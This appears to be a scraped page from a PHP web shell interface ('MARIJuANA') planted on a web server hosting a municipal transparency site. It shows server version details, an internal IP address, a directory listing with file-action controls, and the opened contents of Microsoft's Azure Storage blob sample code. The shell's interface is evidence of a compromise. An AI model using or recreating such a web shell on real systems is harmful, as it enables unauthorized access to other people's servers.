MARIJuANA
— DIOS — NO — CREA — NADA — EN — VANO —
Linux instance-20230208-1745 6.8.0-1013-oracle #13~22.04.1-Ubuntu SMP Mon Sep 2 13:02:56 UTC 2024 x86_64
  SOFT : Apache/2.4.52 (Ubuntu) PHP : 8.1.2-1ubuntu2.19
/var/www/guajeru/transparencia/assets/ckfinder/core/connector/php/vendor/microsoft/azure-storage/samples/
10.0.0.135

 
[ NAME ] [ SIZE ] [ PERM ] [ DATE ] [ ACT ]
+FILE +DIR
BlobSamples.php 24.169 KB -rw-r--r-- 2021-07-19 12:47 R E G D
FileSamples.php 14.585 KB -rw-r--r-- 2021-07-19 12:47 R E G D
QueueSamples.php 12.365 KB -rw-r--r-- 2021-07-19 12:47 R E G D
TableSamples.php 14.967 KB -rw-r--r-- 2021-07-19 12:47 R E G D
REQUEST EXIT
* @copyright 2016 Microsoft Corporation * @license https://github.com/azure/azure-storage-php/LICENSE * @link https://github.com/azure/azure-storage-php */ namespace MicrosoftAzure\Storage\Samples; require_once "../vendor/autoload.php"; use MicrosoftAzure\Storage\Blob\Models\CreateContainerOptions; use MicrosoftAzure\Storage\Blob\Models\PublicAccessType; use MicrosoftAzure\Storage\Blob\Models\ListContainersResult; use MicrosoftAzure\Storage\Blob\Models\DeleteBlobOptions; use MicrosoftAzure\Storage\Blob\Models\CreateBlobOptions; use MicrosoftAzure\Storage\Blob\Models\GetBlobOptions; use MicrosoftAzure\Storage\Blob\Models\ContainerACL; use MicrosoftAzure\Storage\Blob\Models\SetBlobPropertiesOptions; use MicrosoftAzure\Storage\Blob\Models\ListPageBlobRangesOptions; use MicrosoftAzure\Storage\Common\Exceptions\ServiceException; use MicrosoftAzure\Storage\Common\Exceptions\InvalidArgumentTypeException; use MicrosoftAzure\Storage\Common\Internal\Resources; use MicrosoftAzure\Storage\Common\Internal\StorageServiceSettings; use MicrosoftAzure\Storage\Common\Models\Range; use MicrosoftAzure\Storage\Common\Models\Logging; use MicrosoftAzure\Storage\Common\Models\Metrics; use MicrosoftAzure\Storage\Common\Models\RetentionPolicy; use MicrosoftAzure\Storage\Common\Models\ServiceProperties; use MicrosoftAzure\Storage\Common\SharedAccessSignatureHelper; use MicrosoftAzure\Storage\Common\ServicesBuilder; $connectionString = 'DefaultEndpointsProtocol=https;AccountName=;AccountKey='; $blobClient = ServicesBuilder::getInstance()->createBlobService($connectionString); // Get and Set Blob Service Properties setBlobServiceProperties($blobClient); // To create a container call createContainer. createContainerSample($blobClient); // To get/set container properties containerProperties($blobClient); // To get/set container metadata containerMetadata($blobClient); // To get/set container ACL containerAcl($blobClient); // To upload a file as a blob, use the BlobRestProxy->createBlockBlob method. This operation will // create the blob if it doesn't exist, or overwrite it if it does. The code example below assumes // that the container has already been created and uses fopen to open the file as a stream. uploadBlobSample($blobClient); // To download blob into a file, use the BlobRestProxy->getBlob method. The example below assumes // the blob to download has been already created. downloadBlobSample($blobClient); //Generate a blob download link with a generated service level SAS token generateBlobDownloadLinkWithSAS(); // To list the blobs in a container, use the BlobRestProxy->listBlobs method with a foreach loop to loop // through the result. The following code outputs the name and URI of each blob in a container. listBlobsSample($blobClient); // To get set blob properties blobProperties($blobClient); // To get set blob metadata blobMetadata($blobClient); // Basic operations for page blob. pageBlobOperations($blobClient); // Snap shot operation for blob service. snapshotOperations($blobClient); // Basic lease operations. leaseOperations($blobClient); //Or to leverage the asynchronous methods provided, the operation can be done in //a promise pipeline. $containerName = ''; try { $containerName = basicStorageBlobOperationAsync($blobClient)->wait(); } catch (ServiceException $e) { $code = $e->getCode(); $error_message = $e->getMessage(); echo $code.": ".$error_message.PHP_EOL; } catch (InvalidArgumentTypeException $e) { echo $e->getMessage().PHP_EOL; } try { cleanUp($blobClient, $containerName)->wait(); } catch (ServiceException $e) { $code = $e->getCode(); $error_message = $e->getMessage(); echo $code.": ".$error_message.PHP_EOL; } function setBlobServiceProperties($blobClient) { // Get blob service properties echo "Get Blob Service properties" . PHP_EOL; $originalProperties = $blobClient->getServiceProperties(); // Set blob service properties echo "Set Blob Service properties" . PHP_EOL; $retentionPolicy = new RetentionPolicy(); $retentionPolicy->setEnabled(true); $retentionPolicy->setDays(10); $logging = new Logging(); $logging->setRetentionPolicy($retentionPolicy); $logging->setVersion('1.0'); $logging->setDelete(true); $logging->setRead(true); $logging->setWrite(true); $metrics = new Metrics(); $metrics->setRetentionPolicy($retentionPolicy); $metrics->setVersion('1.0'); $metrics->setEnabled(true); $metrics->setIncludeAPIs(true); $serviceProperties = new ServiceProperties(); $serviceProperties->setLogging($logging); $serviceProperties->setHourMetrics($metrics); $blobClient->setServiceProperties($serviceProperties); // revert back to original properties echo "Revert back to original service properties" . PHP_EOL; $blobClient->setServiceProperties($originalProperties->getValue()); echo "Service properties sample completed" . PHP_EOL; } function createContainerSample($blobClient) { // OPTIONAL: Set public access policy and metadata. // Create container options object. $createContainerOptions = new CreateContainerOptions(); // Set public access policy. Possible values are // PublicAccessType::CONTAINER_AND_BLOBS and PublicAccessType::BLOBS_ONLY. // CONTAINER_AND_BLOBS: full public read access for container and blob data. // BLOBS_ONLY: public read access for blobs. Container data not available. // If this value is not specified, container data is private to the account owner. $createContainerOptions->setPublicAccess(PublicAccessType::CONTAINER_AND_BLOBS); // Set container metadata $createContainerOptions->addMetaData("key1", "value1"); $createContainerOptions->addMetaData("key2", "value2"); try { // Create container. $blobClient->createContainer("mycontainer", $createContainerOptions); } catch (ServiceException $e) { $code = $e->getCode(); $error_message = $e->getMessage(); echo $code.": ".$error_message.PHP_EOL; } } function containerProperties($blobClient) { $containerName = "mycontainer" . generateRandomString(); echo "Create container " . $containerName . PHP_EOL; // Create container options object. $createContainerOptions = new CreateContainerOptions(); // Set public access policy. Possible values are // PublicAccessType::CONTAINER_AND_BLOBS and PublicAccessType::BLOBS_ONLY. // CONTAINER_AND_BLOBS: full public read access for container and blob data. // BLOBS_ONLY: public read access for blobs. Container data not available. // If this value is not specified, container data is private to the account owner. $createContainerOptions->setPublicAccess(PublicAccessType::CONTAINER_AND_BLOBS); // Set container metadata $createContainerOptions->addMetaData("key1", "value1"); $createContainerOptions->addMetaData("key2", "value2"); // Create container. $blobClient->createContainer($containerName, $createContainerOptions); echo "Get container properties:" . PHP_EOL; // Get container properties $properties = $blobClient->getContainerProperties($containerName); echo 'Last modified: ' . $properties->getLastModified()->format('Y-m-d H:i:s') . PHP_EOL; echo 'ETAG: ' . $properties->getETag() . PHP_EOL; echo "Delete container" . PHP_EOL; $blobClient->deleteContainer($containerName) . PHP_EOL; } function containerMetadata($blobClient) { $containerName = "mycontainer" . generateRandomString(); echo "Create container " . $containerName . PHP_EOL; // Create container options object. $createContainerOptions = new CreateContainerOptions(); // Set container metadata $createContainerOptions->addMetaData("key1", "value1"); $createContainerOptions->addMetaData("key2", "value2"); // Create container. $blobClient->createContainer($containerName, $createContainerOptions); echo "Get container metadata" . PHP_EOL; // Get container properties $properties = $blobClient->getContainerProperties($containerName); foreach ($properties->getMetadata() as $key => $value) { echo $key . ": " . $value . PHP_EOL; } echo "Delete container" . PHP_EOL; $blobClient->deleteContainer($containerName); } function containerAcl($blobClient) { // Create container $container = "mycontainer" . generateRandomString(); echo "Create container " . $container . PHP_EOL; $blobClient->createContainer($container); // Set container ACL $past = new \DateTime("01/01/2010"); $future = new \DateTime("01/01/2020"); $acl = new ContainerACL(); $acl->setPublicAccess(PublicAccessType::CONTAINER_AND_BLOBS); $acl->addSignedIdentifier('123', $past, $future, 'rw'); $blobClient->setContainerACL($container, $acl); // Get container ACL echo "Get container access policy" . PHP_EOL; $acl = $blobClient->getContainerACL($container); echo 'Public access: ' . $acl->getContainerACL()->getPublicAccess() . PHP_EOL; echo 'Signed Identifiers: ' . PHP_EOL; echo ' Id: ' . $acl->getContainerACL()->getSignedIdentifiers()[0]->getId() . PHP_EOL; echo ' Start: '. $acl->getContainerACL()->getSignedIdentifiers()[0]->getAccessPolicy()->getStart()->format('Y-m-d H:i:s') .PHP_EOL; echo ' Expiry: '. $acl->getContainerACL()->getSignedIdentifiers()[0]->getAccessPolicy()->getExpiry()->format('Y-m-d H:i:s') .PHP_EOL; echo ' Permission: '. $acl->getContainerACL()->getSignedIdentifiers()[0]->getAccessPolicy()->getPermission() .PHP_EOL; echo "Delete container" . PHP_EOL; $blobClient->deleteContainer($container); } function blobProperties($blobClient) { // Create container $container = "mycontainer" . generateRandomString(); echo "Create container " . $container . PHP_EOL; $blobClient->createContainer($container); // Create blob $blob = 'blob' . generateRandomString(); echo "Create blob " . PHP_EOL; $blobClient->createPageBlob($container, $blob, 4096); // Set blob properties echo "Set blob properties" . PHP_EOL; $opts = new SetBlobPropertiesOptions(); $opts->setCacheControl('test'); $opts->setContentEncoding('UTF-8'); $opts->setContentLanguage('en-us'); $opts->setContentLength(512); $opts->setContentMD5(null); $opts->setContentType('text/plain'); $opts->setSequenceNumberAction('increment'); $blobClient->setBlobProperties($container, $bl